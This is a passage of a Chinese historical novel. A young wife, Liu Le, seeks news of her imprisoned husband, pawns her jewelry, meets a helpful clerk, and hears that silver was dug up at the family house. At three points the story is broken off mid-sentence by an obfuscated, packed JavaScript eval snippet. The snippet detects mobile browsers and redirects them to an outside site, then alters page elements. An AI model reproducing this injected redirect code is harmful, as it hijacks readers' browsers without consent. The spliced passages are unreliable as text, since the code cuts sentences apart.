两人这才正告柳乐道:“大人已经吩咐了,这位计相公有罪无罪还不分明,又不得见亲友家人,须用心照看他衣食,不可出半点差池。每日饭菜都有人做了给他,吃得和大人们一样好,你送了东西进去,这些饭菜怎办?扔了可惜,不扔又没人敢吃——大人知道还要见怪。所以我们不曾送你的东西。上头还有令,若有消息传出去,凡与计相公说过话的都要严加查问,看谁口里走了风。除了大人指的一二人,我们哪个敢往他跟前去?所以带话也带不了。并非我们有意欺哄你,实是上头盯得紧。我们这差事没钱,事却大,何况一家几口的吃喝都系在身上,先前看娘子年小斯文,老着脸受了你的,这是我们不是;以后也不用拿东西来,计相公我们也帮不上,请娘子莫再为难我们。” 柳乐忖度这回二人说的是实话,虽被他们骗了几日,也没处诉,——两个小小狱卒若此,整个大理寺上下可知。他们假作漫不经心实则圆睁了眼目盯着计晨,说不定就连她自己的举动也被人留心着。计晨做了什么值得被如此猜忌?柳乐心中激愤,下定决心要弄明白,明知此处问不出,还是问了句:“哪位大人吩咐的?” “这可不知道,是由我们顶头上司传下话来。这里除了犯人,全在我俩之上,哪个都是大人,我们只管遵令,别的不敢问,更不敢信口胡说。” 那妇人就把柳乐拉到一边。她也是来给人送饭的,两人打过照面,每回她总拿眼将柳乐左右打量,柳乐顾不上,没大理会。经这一场,算结识了,妇人自报家门说:“我姓张,夫家和娘家都姓张,我家中男子汉在里头关着。”她又把柳乐浑身上下细细看了一回,好奇地问,“这么说你也是来探你丈夫?” 柳乐点点头,又摇摇头:“我还没有见着他。” 那妇人听了,满脸显出同情之色:“怎么不许你进去?” “是为案子还没结,怕有同党,通了消息。” “他犯了何事?”妇人瞪眼问。 “不曾犯事。是受人诬告,诬他贪银,误了公事。”柳乐不愿详说。 妇人呆了一呆,啧啧惊叹:“原来你男人是个官老爷啊。我说呢,那一起奸盗的囚犯,屋内怎讨得这样美貌的夫人?” 柳乐厌烦这种话,想要走,妇人拦住说:“你别急,在这儿等等我,我进去就来。我男人在里头几日了,我问问他可见过你家官人没有。” 柳乐一听这倒是个办法,便立住了。 一时妇人出来,把柳乐拉过一边僻静处,告诉她说:“没见过。不过告诉我说后头有独个儿的屋子,不和另些人在一处——别人都是好些人关一间牢房,围着天井一圈。那些牢子在院中穿来穿去的,囚犯们都看得见,我家汉子就说这几天每日往后头送食送水走得勤着呢,就不知关着什么人,没见提他上过堂。我看八成就是你家官人,这下你可把心落下去了吧。” 14. 清官与奸商 大理寺监牢的情形柳乐只依稀知晓:之前去探禹冲,柳图为不叫其他犯人看见她,特意买通狱丞,让把禹冲带出来到一间小囚室与她单独会面。那时她从大牢房的后面绕过去,听见了犯人们的吵闹声,十分嘈杂刺耳。她想,莫不是计晨就关在她去过的那一间囚室内?宁可不是,那个屋子给她留下了十分凄惨可怖的印象。不过若真是计晨,证明他们所言不虚,他的确是在候审,至少现在人还没事,她心中松快了点儿,谢了张氏,说:“别的我倒不怕,只是案子一直拖着不审理,又不放人进去会面,这才着急。” “哎呀,有吃有喝,你急什么,不去便不去吧,真去不得——你不知牢里光景,连我还嫌腌臜,别说你这样娇滴滴的小娘子,万一染上瘟病不是闹着玩的。”张氏一头发急,嚷嚷了几句,一头又笑着说,“不过你家官人到底是做官的,比别个儿优待,把他一个人关着,虽是坐牢,也就算逍遥自在了,只有一桩不足——怕是想你想得紧。” 柳乐便问:“里头一共关着多少人?” “多时有两三百,如今只怕也有一百来个。你别愁,你丈夫有官职,又有个绝色的妻子,还有什么不足,怎么可能干出犯法的事,自己把自己往牢里送?肯定就是诬告,等着方大人匀出工夫,为你们做主就是。” 说着,张氏忽地拿手往腿上一拍,压低声音道:“我晓得了,你说平民百姓,谁敢去诬告官儿呢,肯定是个更大的官儿。娘子莫怪,我猜会不会是哪个看上了你,故意把你官人陷在牢里?” 柳乐吃了一惊,想这张氏人虽热心,想法实在荒唐可笑,不快地说:“我知道嫂子并非取笑我的意思,不过嫂子想岔了,肯定不是因为这个。” “我说娘子莫要见怪,我也是胡乱猜猜,不是便不是。”张氏赔笑说,“反正有方大人在,你就不用担心,别看他年纪不大,断案最公正不过,哪怕是当朝大宰相害你,他定也断得明明白白,不会放了恶人,冤了好人。” 柳乐默然不语。嘴巴爱说的人,起了话头不容易刹住,张氏不管柳乐耐不耐烦,又道:“不瞒娘子,我那汉子就是在方大人手里问了罪,被关进去,我一样还服他大人,一样说他好。你听听这件官司,就知道了。 “这官司本不是告我丈夫,告的是个闽南来的商人,他卖货,我家那个在里头做个中人,也叫一起告了。是这么着:那商人从闽南贩货过来,在京里卖掉,又从京里贩货,回家去卖,走这么两趟。谁知他人先来到京城,跑去勾栏院,看中一个表子,这可就花钱如海水一般,把预备着在京里办货的银子都花了个干净,他又想给这表子赎身,娶回去做老婆——他家里就他一个了,要有父母高堂管着,敢这么胡来?碰见这么个冤大头,那老鸨子当然要狠敲他一笔,他拿不出钱,也没心思做生意,就要把他闽南来的货整个倒给人,说原本能卖两千两,因为着急只要一千。我男人稀里糊涂给他骗去,帮他找了几个凑钱开铺子的,这些人先拿出二百两定钱给他,又写了八百两的文书,只等货船到了,在码头上交割。 “船到之后,一边收了钱,一边拿了货,我丈夫得了二十两中人钱,本来事情就完了,谁知那几个开铺子的回去后,发现只有当面打开看的几个箱子里是上等东西,其它都是些烂木头,卖不出的次货,他们几个本也是穷苦人,合伙凑钱找这个营生,哪里肯吃亏,就告到方大人这儿,所幸那商人刚赎出表子,还要置办些回去成亲的家当,一时还没走。方大人立即就把他提了来,商人只管抵赖,说是船上伙计做的手脚。把几个伙计提来一问,原来都是他家里的伙计,在半路就得了商人的信,要他们把好货先卖掉,又买了些次货假充,专为了骗人,一批东西卖两回钱,都花在表子身上了。 “这商人叫自家伙计供出来,还不认,说从没给过信,伙计也拿不出信,因为信上说看过后立马烧掉,伙计听家主的,自然就照办了。眼看说不清楚,这时候就见出方大人英明,他说事情都因表子起,只把她拿来问问,就把那表子唤来,才夹了一夹棍,哭天喊地都一一招出来,说商人对她说有办法弄来银子,总共给了她多少多少银子,正合着卖货的钱数,那商人无话可对,只好招认了。表子仍回勾栏院,赎身的银子拿回来赔开店的几个人,伙计们各打了十板子,令他们回家。我丈夫要赔中人银子,可他本来欠着帐,已把那二十两用了,还不出,所以也给关进监里,我一个没营生的妇道人家,往哪里凑钱去,让他关着罢,看他以后还随便给人做保不做?那个奸商是正经问了个徒罪,打了四十板,下到狱里,不准拿钱赎罪。这人长得倒清秀,姑娘似的一身细皮嫩肉,那牢狱日子可挨不过,老天报应,不上一个月就染病死了。娘子你看,方大人这案子断得清爽吧?” 柳乐蹙起眉:“我听着却还糊涂:既是货物买卖的官司,该把交易中经手、经眼的人找来一一核对,却把个不相干的女子拿来用刑,是什么道理?” “怎么叫不相干,要是没她,哪来这些事情?”张氏惊诧地叫起来,忽地眨几下眼睛,又对着柳乐笑,“娘子放心,对良家女子,方大人向来敬重,别说动刑,除非非去不可的时候,也不会提你上公堂,丢你的脸面。” 柳乐严肃地答道:“不能如此说,女子当然也上得公堂,没做坏事怕什么丢脸,若是与我相关,我希望能当堂分辩!只是这位女子,怎见得她一定知道商人卖货以次充好?要让我受刑,我也受不过,那时胡乱说出来的话怎能算罪证?” “哎呀,她与你当然不一样。她是个娼妓祸水,只管勾人吸血,害别人倾家荡产、夫妻反目,别说她供词是真的,就算这次没她的事,也该罚一罚她。” “她们卖身多是受迫,并非自己要做祸水,至于夫妻不和,更该怪追欢的男子。再说这位女子有心向好,愿意从良,已经赎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687071|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出身,为何又把她推回火坑?”柳乐冷声道。 张氏撇着嘴道:“依你说,这桩案子从头至尾是方大人断错了?” “案子的来龙去脉我不知道,不敢说。”柳乐摇摇头,“我只是觉得断得太鲁莽。若是听过证词,寻出破绽,然后明察暗访,得了实据,这才算英明。可是拿一个柔弱女子用刑,这不叫严刑逼供吗,能见出什么真本事?断案都是这样,我也能断,一天断百八十件也来得。” “方大人一眼就能认出好人歹人,这还不算本事?你呀,莫是听见我说商人样貌好,便以为他心也好?要说这商人确实斯斯文文不像是狡诈人,所以我丈夫才吃了他的哄,总算方大人年纪不大,人不糊涂,不听他瞎话,叫表子来问,一问不就问出来了?他们这些经商的都一个样:一门心思低买高卖,赚那黑心钱;表子更不必说,哪里是真心从良,不过是图谋钱财,贪富贵舒服,等到把子弟刮得穷了,她还愿意守着他?——你要拉她出火坑,她自己还寻着要往回跳呢。一个只管贪财,一个贪财好色,两个人撞在一处,能撞出什么好事来?他两个都是好人,倒是他自家的伙计好端端害他不成?” “怎知一定不是伙计?他们说有封信,又拿不出来。” “怎么会是伙计?”张氏急得直拍大腿,“我不知你们斯文人嘴里如何说,不过‘天下老鸹一般黑’、‘无商不奸’这话总是有的吧?伙计除了爱偷懒,我就没听见有什么话编排他们的。” 柳乐差点都要笑了:“话虽是有,但要依着它,干脆把天下的商人一股脑全投进牢里岂不好?” “可不是全都该关进去,只不过没那么多像方大人这样的官罢了。” 柳乐正色道:“就算是九十九个都坏,也可能有一人好。真正的好官该仔细断案,别把那一人错关进去。” 张氏愣了一会儿说:“谁说方大人断案不仔细了?他断得明白着哩。他不像别的官儿,就爱向着那些有钱的、有貌的、有官职的。” “怎么有钱有貌有官职还成罪过了?” 妇人不屑地瞅瞅柳乐,显然这时已将她也看作奸商、贪官一路人,撇嘴说:“你这娘子看来聪明,原来也恁地糊涂。哪个官府不是向着富贵老爷,欺负贫苦百姓,要不是方大人肯出这么一个法儿,案子还不得断呢。若换别个老爷,看几个穷汉子敢来告状,先就打一顿板子;就算告成了,也是故意慢慢审,浪费许多工夫,为叫你拿钱来,一来二去就让奸商拿钱买通了。方大人可不比别个,在他跟前,谁也别想拿官势、拿银子压人。还不止我说的这一件呢,你去问问,方大人办的案子,多是不让穷人吃了亏的,不然有那么好些人夸他?” 柳乐见她分理不清,也就不愿与她较真,借口家中有事便走了。后来再遇上时,柳乐倒没什么,那张氏只管把头一扭,当作没看见,柳乐哪有心思和她交道,便再不去理会了。 15. 铁矿和金簪 自打计晨、计春相继被拿去,计衔山病倒,家里只剩婆媳三人和一个未出阁的姑娘,急切间寻不着门路。幸而计晨在同年、同僚间颇有几个熟人好友,搬家前,有几位约了一起来望慰计衔山,都言计晨为人廉约小心、一心奉公,此番必是错拿,又自告奋勇要去衙门,联名为计晨作保,一家人感激不尽;计衔山自己挣不起身,口授了几封书,赶紧要管家送去,托人设法;高娴则在亲友中乱抓,也不看对方是不是能办事的人,只管当作救命稻草;柳乐便找柳图。如此,人情寻了一二十个,四处奔波了几日,按说事情该了结了一半,至少也能得知个详细情由、案子轻重大小,谁知不光计晨,连计春都见不到面,案情更是一团雾。 初时,大家都言之凿凿,只道半月为限,人一定放出来,隔一二日便没了声息,再问则含含混混、语焉不详,或是拿些空话打发过去,再以后,不约而同地,所有人都躲着计家,只除了柳图。 不觉半个月过去了,到了中秋。这时,柳乐的父母俱已知晓,柳乐偶尔也回娘家一趟,宽慰宽慰爹娘。 中秋当天,柳乐白日里去看了看父母,当时柳图出门去了,没有见到。到了傍晚,柳图又跑来计家,送了些果饼,陪计衔山坐了一小会儿,出来向柳乐丢个眼色。 柳乐送哥哥出门。各家各户都正在院中布置席面,预备吃酒赏月,街上没什么人,两人就在墙下站住了。柳图向柳乐转过身,眼睛却瞄着街对面,紧紧攒着眉,说:“我早就想过了,定不是为贪贿的事。贪几个钱算什么,哪有做官儿不捞的,何况在这种肥差上,真要论起来,哪个手上干净?只要别太过,事办好,睁只眼闭只眼就过去了。” “晨大哥没有做。”柳乐说。 “我知道,我意思是说不为那些。你听我说,”柳图弯下脖子,将声音压得更低,“不止是那样简单。我听见说,为了修坝要凿山采石,可那山上采出的不是普通石头,是铁矿。那边隐瞒不报,只用一部分石头填坝,其余的炼出铁来。他们有一条道路能把铁偷运出去,卖到邻国。这可是谋——”柳图不敢把那个词说出来,只拿手比了个铡刀的动作,“这是大罪,要是计晨真有牵连,那……” 柳乐猛一下抬起头,一张脸苍白得像刚刚从胡同底冒出来、光芒还微弱的月亮,“晨大哥未必认得铁矿石,或者人家没让他看见。” “认得不认得,看见没看见,卷进了这种事岂能轻易脱身?若是别的,还能想想办法,这个,再往上求也没路,就是告到皇上跟前,也是要查出个详细。” “就是要他查个详细。晨大哥肯定不是有意参与其中,案子大也好,小也好,有就是有,无就是无,只要审明白不就行了?” “不好查啊,只怕后头……”柳图说了几个字便不吭声了。过了一会儿,柳乐又问:“哥哥是从哪儿听到的?” 柳图摇摇头:“你就别问了,先前我拼命打听,打听不出,这回是别人找上我透露出来的。” 他朝巷口一望,忽地大声说:“娘和你嫂子两个做了不少月饼,核桃仁、枣泥都有,你爱吃的豆沙馅,上面是个大兔子花样。”原来有人拐进了巷子,虽说还远着,但柳图直等人家进了院子,闭上门,这才看着柳乐。他仍是满面担忧,但用轻快的语气宽慰说:“我想,这里头的情形能让我知道,足见对我、对咱们柳家还是信任的,这何尝不是个提醒之意,说明上头愿意对你开恩。毕竟认真算起来,你与计晨也就刚刚成亲一日,纵有什么,你也不知情。要不然……你还是回家来,万一将来牵连了你,把你做个罪眷论处……” “哥哥!你这是何意?”柳乐不禁叫起来。 “小点声,小点声。”柳图急得在原地转圈,四面去看。 柳乐急迫而又严肃地说:“我哪里不知情,我心里清清楚楚!你说的这些晨大哥都没有做过,不用说什么通敌谋逆叛国,怀不臣之心,只说贪求非分之物,这就不是他的为人。至于我,一年也好,一日也好,一刻也好,反正我已是嫁了他。如今我的丈夫受人诬陷,要我抛下他,这不是我柳乐的为人。哪怕不能为他伸张冤屈,至少我要和他站在一起。哥哥不必左右为难,就算真有事,我是嫁出去的女儿了,说什么做什么,都与柳家不相干。” 柳图见她真格动起怒来,急忙又劝说:“你别和我一样,听见风就是雨。我这不是今天刚听说,怕你着慌,先来告诉你一声。其实还远不到那一步,我也想着计晨不会有事。你不怕就好——咱们行得正,坐得端,怕他怎的?行了,你进去吧,先不用对你公婆讲,省得他们又多一层惊怕。我看你公公身子还没大好,你多劝劝他,让他安心保重,还有我呢,我绝不会撂下不管。过一两日我还来。”他拍着胸脯走了。 柳乐听了哥哥带的消息,没有对人说,也没有显出惧怕——她心里并不怕,反倒是憋了一口气。最初,她进出衙门时还羞羞怯怯,觉得路过的人都盯贼似的盯着她看,过上几日,胆子便大了许多,如今更是昂首挺胸,仿佛要向那些不管事的官员兴师问罪一般。 大理寺她早已走得熟了,也陪高娴去过几回府衙,又回计家原来的宅院询问过几次——过了这么多天,还回宅子的话丝毫没见提过,也不许她们进去,若要拿东西,需开列清单,送去给不知什么人审批,批了里面才慢慢地找,找到了才送出来。 董素娥想取几件衣物,哪好意思细写在纸上,只得作罢了。为此,有些急切要用的物件只好重新去买,渐渐就有些不凑手。 本来计家家里放着的现银并不很多,每月父子三人关了薪俸来,大半都交给董素娥,她留出日常吃用后,剩下的便拿出去让人在乡下置田地。原本手头有百余两银子,租房外加被小厮拐骗,去了一笔,连日来为官司上下打点,又是一笔,现下急忙寻不出钱用,董素娥只好派管家到乡下田庄上去一趟,卖几亩地换些银钱。 计晨走之前,从衙门预先支借了几个月的薪水,除去路上盘缠,都留给了柳乐。要论俭省,柳乐自命不输董 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711339|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素娥,可谁知钱会这么不经使,像流水一样握不住!不知不觉间,不光计晨留下的,连柳图给她的也全都用去了。看见董素娥卖田,柳乐灵机一动,去银楼里,拔下头上三支金发簪交给店伙:“给我换成鎏金的。” 那是两支一点油、一支茉莉头簪子,伙计上戥子称一称,共重一两四钱二分。因都是简单、常见的式样,立即便拿来几支相近的镀金银簪,又补出十五两银子。 柳乐算算差不多,收了钱,发簪原样插回头上,拉着巧莺走出来。 巧莺嘟噜着嘴:“好好的东西,换它做什么。” “横竖都是绾头发,又没分别。” “分别大了,姑娘那几支比他们的做得精细。这一卖,手工钱就亏给人家了,还不如先当了,以后再赎。” “当铺里连这一半都当不出,算了。”柳乐叹口气,“精细不精细,插在头上,又没人瞧得出来。” “拿在手里就知道了,掂一掂就晓得不是金子。”巧莺不服气地说,“今儿金换银,明儿银换铜,姑娘身上能有多少油水,经得住这么刮?怎么不见计姑娘去换?姑娘没钱使,该向计太太去要,姑娘又不是自己花,都是为了姑爷,不信她舍不得拿出来。” “你别胡说。晨大哥这两年才领薪俸,钱数我又不是没算过;先前一家子全靠老爷和计春大哥,能攒下多少银子?——买房置业、买东买西都花净了,确实手上没有。要不然太太怎会卖地,最好的一片地都卖了,恐怕还不够使——如今使钱的地方太多,太太愁得不得了,我怎么向她开口要。” “我也是,还指望她拿?”巧莺鼻子里笑了一声,“这会儿我想起来了,那天吃饭时,我看她拿眼瞅姑娘的镯子,明明计姑娘手上也有,还好几只呢。” “她的那几只不重,还顶不了我这一个。“柳乐辩道,不由掀起一点衣袖,低头去看,一对绞丝麻花金镯子好端端套在腕上,这是她母亲江岚当日的嫁妆,等柳乐成亲时又给了她。 另外,她头上还有一支凤头金钗,是计晨送的定亲礼。凤口衔一串四粒珍珠,一粒比一粒大些,最下面一颗已有豌豆大小,又挂下一穗金流苏,摇摇曳曳,十分华丽。这些东西柳乐平日本都不戴,可自打前日小厮偷拐银钱一事出来,她觉得东西放在家里绝不保险,于是打了个小包袱随身携着,后来干脆把能戴的首饰都戴在身上。 这虽是防盗之举,却还有另一重作用:她早已发现,衙门上那些门子小吏最是有双势利眼睛,只认衣衫不认人的,看她插金带银,便当作身份非富即贵,热心给她指点,虽说未必帮得了忙,至少态度上不使人那样难堪。 想想世人真有点儿可笑,无非是些金银、石头,却将它看作仙物宝符一般,仿佛有它装点,便能把人照耀得光辉无比。不过她自己也喜爱首饰,喜爱它们的精巧、美丽,更看重里面藏着的一份情。她又隔袖摸了摸手镯,金子压在腕上沉沉的。柳乐心里踏实了些,有力地摆摆手,“我不会再卖东西了。” 16. 同榜和罪证 柳乐去大理寺这么多回,早已经对那位少卿方大人死了心,知道见不着他。可她还是一日日往那边跑,一是因为更不愿待在家里——董素娥的脾气愈来愈坏了,而她实在找不出新的话去安慰;二是因为还存着些希望,兴许哪一次就能得到计晨的只言片字,只要计晨还在大理狱关着,她便一日也不敢错过。 这天柳乐又来大理寺,转了一圈还没找见个说话的——如今这些官吏们见了她都怕,低着头垂着眼匆匆就走了,而柳乐再勇敢毕竟是当闺秀养大的,不会放刁撒泼,不能上去扯住人家,只好站在一旁瞅空子。 不一会儿,屋内出来个年轻官人,看见她一愣,就立住向她脸上端详。 柳乐觉察到了,扭头去看那人,瞧他的样子像是在此处做事,她却从来没有见过。对方见她看过来,脸面立即红了,刚抬起步,却忽地转身退回到屋内。 柳乐以为这又是一个怕惹事躲躲闪闪的,但等她找别人扑了个空,再出来时,这青年却候在刚才的屋子门口,上前说:“是计家夫人吧,学生姓沈,贱字泊言。若不嫌冒昧,请借一步说话。” 他手指身后的屋子,柳乐便跟了进来。沈泊言忙请她坐下,又请巧莺坐了旁边另一把椅子,倒来两杯茶奉给二人,对巧莺说:“请姐姐稍坐片刻,在下与你们夫人说几句话。”说着他掇一张杌凳在斜对面坐了——屋子很小,不然他肯定还要坐得更远——低着头,不自在地清了清嗓子。 “敢问夫人娘家贵姓?” “姓柳。”柳乐答。 沈泊言问完一句,脸上已经红透了,好像一时再难找出话来说。 柳乐把他瞧得清楚,见他年纪不过二十出头,面容端正,穿件褪了色的旧衫子,但打扮得很是干净整齐,看来是个朴实的人,便问道:“多谢大人款待,大人想必清楚我是为家夫一事来?” 沈泊言见柳乐先开口,似乎大松了一口气,回答说:“在下仰慕计年兄久矣,适才看见柳夫人,仓促间有失迎迓,望柳夫人恕罪。” 柳乐歉然道:“恕我方才无礼,没认出沈大人是家夫的朋友。” “不敢,不敢。”沈泊言急忙摇手,脸又红了几分,“在下不敢和计年兄论相知。在下忝与计年兄同榜,才学却差得远了。如今在下忝居主簿微职,不敢当柳夫人这等称呼。柳夫人有何见教,尽管吩咐,俱在在下身上。” 柳乐心头一热。这段日子她几乎处处碰壁,遭人冷眼,这才算是头一回遇到个亲切有礼、确实愿意帮忙的人。 她见沈泊言垂首僵僵坐在那儿,十分不自在,又看他年纪甚轻,便改称沈公子,说:“沈公子见笑,我是为打听家夫案件而来,奈何过去许久,仍未得到半个有用的消息,不免心焦。” 沈泊言说:“夫人莫急,在下前些日子随上司往外地办差去了,昨日刚回来,也是刚刚才得知计年兄的事,暂时还未看到案卷。在下这就去想办法,若柳夫人明日再来……” “家夫当真是在这儿关着?你能不能见到他本人?”柳乐着急地打断他。 沈泊言抬头吃惊道:“计年兄是在这儿,恕在下匆忙未及拜见。柳夫人何故怀疑?” “因为不许我们家里人见他,也不让传话、送饭食,只说他单独关着,有人照料饮馔,到底是口说没影的事儿,我也不敢相信了。” 停了半晌,沈泊言说:“这实在是敝处失当,不怪夫人焦急。”忽地他站起身,“不若这样,我现在就去,柳夫人有什么话要捎给计年兄,或者愿写封短书?正好笔墨现成。” 柳乐也跟着站了起来,她没料到沈泊言如此热心,肯为她捎话,一下子竟想不出要对计晨说什么。 沈泊言见她默然不语,又说:“请柳夫人恕在下唐突,柳夫人不必多虑,在下向来钦佩计年兄的人品和学识,年兄一时患难,在下当尽绵薄之力。柳夫人的手书在下一定趁无人时送到年兄手里,若实在得不着机会,仍旧原封退还。” 柳乐微微摇头:“不必传书了,沈公子大概还不知,他们对家夫看守得很严,书信多半是交不到他手上。若有机会,请沈公子为我带一句话吧,就说家里都好,请他放宽心,勿要先自担忧。——这也不多重要,沈公子总是小心为上,别让人瞧出不妥。” “谢柳夫人提醒,在下晓得了。”沈泊言郑重答应,“正好在下有别的事也要去那边一趟,到时相机行事,若无人,在下过去对计年兄说一两句话,若旁边有人,在下便不去跟前,只瞧见计年兄安好便是,后面再从长计较。——这里没人来,请柳夫人少坐片时,在下快去快回。” 说完,沈泊言立即走了出去。巧莺小声向柳乐说:“这位沈公子好像是个热心肠的好人。” “是。”柳乐点头,“不知他是不是还不清楚案子是怎么一回事,就怕他知道了,也像别人一样躲着避嫌,我们又是空高兴一场。”说着她勉强笑了一笑,“失望了这么多回,把人都看得坏了,其实原本人家也没必要帮我们。” 巧莺沉思着说:“我总感觉在哪里见过这位沈公子,又想不起来,奇怪。不过他也认得姑娘,姑娘记得起吗?” “我们没见过,他可能是从别人嘴里听到的。”柳乐摇摇头,将屋子打量了一番。这里大概是沈泊言平日办公之处,靠北墙立着一只竹制简易书格,四层上面都堆满了文书,虽然整齐,但也看得出是匆忙间做过一番整理;她和巧莺坐在南面,两张竹椅十分蹩脚,稍微动一动就要咯吱乱响,且式样还不同,恐怕一只是由别处临时借了来的,背后的一张长桌同椅子一般做工粗陋,不过擦抹得很光亮,桌上有一只小小印盒,几张白纸,砚中盛着新墨,蘸了墨的毛笔架在砚沿上——本来他正在书写,却把手头的公事打断了。柳乐不禁有些奇怪,这位沈公子看来比计晨小二、三岁,又是同榜,可见年纪轻轻却才华了得。他口里所说的钦佩等话是通常的谦逊之语,作不得真,他与计晨互不相识倒可能是确实,——他究竟为何这样热忱? 她与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那请柳夫人先回,在下再悄悄打听一下,明日柳夫人来时,还来这里找在下。” 柳乐感激不尽,“沈公子千万谨慎些,万不要因此累你被人责怪。” “请柳夫人放心,我有办法。”沈泊言自信地说。 终于巴到第二日下午,柳乐按时到了大理寺,径直来见沈泊言。沈泊言与前日又不同,只简短地招呼了一声,将她们让进屋,脸上便恢复了严肃的神色,回身把门半掩了,急忙地说:“今日上午才得到的消息,好像是在尊府上找到了些东西。” “找到了什么?”柳乐惊愕问道。 “这个在下还不知,找到的物品没送来大理寺,在下猜测是刑部收了去。在下还听到风声,荥阳那边几个人已经到京,并且押到刑部了。在下想,这件案子可能不会在大理寺审,如此看来,计年兄恐怕很快也要去刑部。” “在家里搜出了罪证?”柳乐又问一句,想不出会是什么,瞠目对着沈泊言。 17. 马车和银锭 “柳夫人别急,多一半是搜查的人生疑,实际并不相干。不过在下对刑部不熟悉,怕后面的事难以打问,答应柳夫人面见计年兄,恐怕也只好食言了。”沈泊言面带愧色道。 “沈公子别这么说,若非公子鼎力相助,此时我还心慌意乱,不知头脑。——到了刑部,或许让我们见他也不一定。”柳乐镇定地笑一笑,其实心中却也不免着慌。 “柳夫人能这样想便好。”沈泊言说,“在这儿我也没帮上忙,案子去了刑部,至少审理是在眼前了,免得柳夫人日夜悬心。我也还会再想想办法,看有没有望在一二日内见到计年兄。” 柳乐问:“家夫最近一两日就去刑部吗?” 沈泊言点点头:“应该不出三日。” “那沈公子看,若我明日去刑部,是否可以知道搜出的物证是什么?” 沈泊言未及答话,一个小吏走进来,他皱了眉,刚要开口,那人上前,附在他耳边说了几个字。 “要见我?”沈泊言吃惊道。 “李大人要你立即去。”那小吏板着脸说。 沈泊言只好起身向柳乐致歉:“上司吩咐我去一趟,劳柳夫人等候一会儿。” 柳乐连忙答应,请他快去。 谁知沈泊言这一去去了好久,三刻钟后还不见回来,柳乐怕他是被公事绊住了,又放心不下搜查一事,和巧莺商量,预备留张字条,明日再来。 她低下头正要写字,又一个小吏推门进来,“沈大人说今日有事,不便再谈,劳夫人等候多时,十分抱歉,请夫人先回吧。” “我没什么要紧话了,请沈大人千万别不过意。”柳乐塞给小吏几钱银子,“我们这就要走,烦你替我向沈大人致谢。” 事不凑巧,柳乐只得垂头从大理寺出来,却见门前正正中中的位置,停着一辆马车,看样子已停了一段时候,还打算再停下去,因那车夫弯着身抱着腿,正把脸埋在膝中休息。 柳乐注意到这辆车是因它停得实在大模大样,平时若有人乘车来大理寺,下车下得稍慢了些,都会招来门子的吆喝,令车子速速驶离,哪怕是来衙门办事的官员临时停车,也会停到后头去,绝不允许谁堵了大门。柳乐看这车子虽寻常,但车夫如此旁若无人,猜他送来的一定是个很大的官,莫非就是因这个才把沈泊言叫了走,可他不是只是个小吏么? 她乱猜了一猜,心思又转到沈泊言说的话上头:计家住宅被占了这么久,也未听见搜出赃物来,如今倒突然找到了,怕不是差人们为了交差,随便寻了样东西上报。这未尝不是件好事——计家这一向窘迫得狠了,带出来的细软七七八八卖了个净,除了几件万分舍不得离手的首饰,再找不出一件当头,因此全家都盼着宅子早些还回来,若迟几日,只怕家里的东西叫那些人偷偷搬光了。既然搜查已有结果,看他们还有什么不归还的理由。 柳乐越想越气,恨不得立时去乌桕巷瞧瞧,又记起今天是约好要和哥哥见面的日子,正好把这件事告诉柳图。待她回到那赁来的寒伧、败落的院子时,天已晚了,各间屋内却一个人都没有,不过也就喝口水的工夫,管家扶着计衔山,高娴、计晴搀着董素娥,几个人唉声叹气进了门。 “父亲母亲是从乌桕巷回来?”柳乐上前问。 计衔山咳了一声,摇着头进屋去了。董素娥停住脚:“搜出东西了,让你父亲去看是不是咱们家的,他画了押,他们才封起来,拿车拉了走。” “是什么?” “银子,一万两银子。” “一万两银子?”柳乐懵了,“我们哪里来那么多——” 计家父子三人做官,全部的收入就是薪俸加上养廉银,外加几片田地上的地租。和普通百姓相比,他们自然十分富裕,可毋需细想:就算把所有这些收入统统聚在一起,就算这些年全家没花过一文钱,也不可能积起一万两银子。 “你父亲和我都不知,”董素娥无力地说,“他们要再去问春儿和晨儿。” “拿车拉走,是现银?”柳乐着急问道。 “你知道?”董素娥扭头盯着柳乐。 “我不知道,我是想咱们家不可能有,在哪里找到的?” “在花园,说把那个小花园掘了个遍,是从山石旁边挖出来的。” “银子埋在土里?什么样的银子?” “可不是在土里埋着?五十两的大锭子。”董素娥不耐烦了,想要进屋。 柳乐拉住她:“母亲,你想,一万两都是锭子,都要用车来拉,那是多么大一堆,怎么可能瞒着人带进来?这不是晨大哥或计春大哥带回家的。” 高娴忙说:“对呀,我也说不可能,银子拿油纸封着,四只一包,足有五十包,一包包拆开都让我们数了,光看就看了半日。两百锭,一万两,真有这些钱,咱们怎会一点儿不知?” “那怎么从咱家里挖出来了?”董素娥呆了一忽儿,问道。 